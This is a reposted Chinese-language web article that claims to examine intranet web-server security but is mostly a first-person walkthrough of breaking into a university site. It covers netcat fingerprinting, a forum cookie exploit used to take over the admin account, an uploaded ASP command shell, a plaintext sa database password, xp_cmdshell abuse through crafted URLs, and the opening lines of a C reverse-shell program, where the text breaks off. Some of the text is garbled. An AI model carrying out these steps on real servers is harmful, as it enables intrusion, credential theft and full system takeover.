内网建Web服务器的安全问题

2008-02-23 08:20:45来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

  很多公司或企业将其Web服务器放在内网,并在防火墙上做映射,将来自80端口的请求转向一台内网Web服务器的Web端口。

  这样做安全性是提高了不少,但并不代表将Web服务器隐藏在内网就一定安全了,因为Web服务器本身还是存在很多问题的,特别是一些CG,程式,往往这是人们最容易忽视的地方。下面就以一台开放80端口的Web服务器为例,来测试其存在的安全隐患问题,并且对存在问题做测试描述,指出问题的症结所在并给出防范错施。

  这是某大学的娱乐休闲网站,进去看了看,页面做得不错,先看一看是什么Web服务器吧。

  D:\ne -vv www.target.com 80

  DNS fwd/rev mismatch:www.target.com!=traget

  www.target.com[192.168.0.1]80(http)open

  GEP/HTTP/1.0

  HOST:www.target.com

  HTTP/1.1 200 OK

  Server:Microsoft-IIS/5.0

  Content-location:http://www.target.com/index.asp

  Date:Thu,22 May 2003 12:13:32 GMT

  Content-Type:text/html

  ......

  是IIS5.0,看看能不能直接溢出。用最新的IIS的WebDav溢出试试。个人感觉isno写的那个溢出比较好用,但因为他是在内网,这个工具导致溢出后会直接在7788端口绑定一个cmd,这对我们的这次入侵来说肯定是不行的。所以,我将他修改了一下,使他能够反向连接,但最终还是不行,看来对方是打了补丁的。

  又逛了一下其他版面,看到有个BBS,是动网的论坛而且版本还比较低(5.00320)。不错,这往往是我们的突破口(第一大失败)。很早以前我和我的好友pskey曾发现一个他的cookie变量未过滤漏洞,他还写了一个Exploit(程式放在光盘中)。通过这个漏洞,我能够随意更改任意用户(包括总版主)的用户密码。我用这个ID进去,进到后台管理,修改配置,允许上传exe、asp等文档。再看看有没有禁用FSO,结果没有禁用(第二大失败)。我通过他上传了一个aspcmdshell。这个aspcmdshell能够使我以guests组权限的用户在Web服务器上执行命令,当然,前题是他没有丢掉guests组对%systemroot%\winnt\cdm.exe的访问执行权限。试试"dir c:\"看看,果然没有禁止运行(第三大失败)。其实,假如他禁止了cmd.exe的运行权限也不要紧的,我们能够自已上传一个上去,再改一下这个aspcmdshell就能够了。有了这个aspcmdshell,我们能够做很多事情。当然这还不够,我的目的是拿到最高权限。此时我就准备提升权限了。先看一看管理员给了guests组哪些权限,看一下ipconfig的返回结果:

  Windows 2000 IP Configuration

  Ethernet adapter本地连接:

  Connection-specific DNS Suffix.:

  IP Address.................: 192.168.1.222

  Subnet Mask................: 255.255.255.0

  Default Gateway............: 192.168.1.1

  哟,在内网,不错,再试试C:\可不可写,答案是不可写(不错)。再试试其他目录,整个C.盘都不可写,只给了Web目录的可写权限。再看一看跑了哪些服务,用netstat -an命令来查看一下。

  TCP 127.0.0.1:1433 0.0.0.0:0 LISTENING哟!还跑了MSSQL的,不错。这时候第一个想做的就是看看哪些程式使用了MSSQL数据库。再到主页上逛逛,看到有一个新闻系统,很有可能就是他。用刚才那个aspcmdshell去查看一下这个news/目录里面的ASP程式,看到很多文档第一行都有,基本上这个就是数据库的链接程式了。查看一下:

  strconn="Driver={SQL erver};Ddescription=sqldemo;

  SERVER=127.0.0.1;UID=sa;&

  PWD=hello;DATABASE=news

  set conn=server.createobject("adodb.connection")

  conn.open strconn

  果然不出我所料(第四大失败,将MSSQL的用户名和密码以明文形式存放在ASP文档里),拿到了MSSQL数据库的密码,而且还是sa用户的,权限比较大哦。本来想看看能不能查找一下新闻系统ASP程式的漏洞,利用一下sql injection的。看来现在完全没有必要了。自己写一个能够用MSSQL扩展xp一cmdshell来执行系统命令的ASP程式,这里有可能管理员删了这个扩展,或直接删掉了xplog70.dll这个文档。不管他,先试试再说。写sql.asp内容如下:

  自己先开防火墙,记录icmp数据包,然后在IE里执行:

  http://www.target.com/bbs/uploadimages/439587438739.asp?cmd=ping 192.168.0.1

  这个ASP是通过动网论坛自己的上传程式上传机程式设定把上传文档都上传到up1Oad土mageS/这个目录里面,根据当前时间将文档重命名,所以文档名为439587438739·aSp这样的全数字组成。

  防火墙没反应,晕!看来是删了Xp--CmdSheI1这个扩展,或直接删掉了Xp1Og70·d11这个文档。假如没有直接删掉Xp1Og70·d11,而只是删了这个扩展的话,我来试一下恢复这个扩展。再写个ASP:

  上传上去,再执行http://www.target.com/bbs/uploadimages/23456489432.asp.

  然后再提交请求:

  http://www.target.com/bbs/uploadimages/

  439587438739.asp?cmd=ping2.168.0.1

  呵呵,我们的防火墙有反应了。来自www.target.com的icmp数据包被记录。看来没有问题了,通过这个ASP我们能够执行很多命令 (第五大失败),都是system权限,只但是没有回显,不是很完美。于是想得到一个交互式的she1l。写个反连的程式吧:

  #include

  #include

  #pragma comment(lib."ws2_32")

  void main(int argc,char*argv[])

  {

  WSADATA wsaData;

  SOCKET hSocket;

  STARTUPINFO si;

  PROCESS_INFORMATION pi;

  struct sockaddr_in adik_sin;

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇: 防止黑客入侵WEB服务器三步曲

下一篇: Web服务器的急救工具箱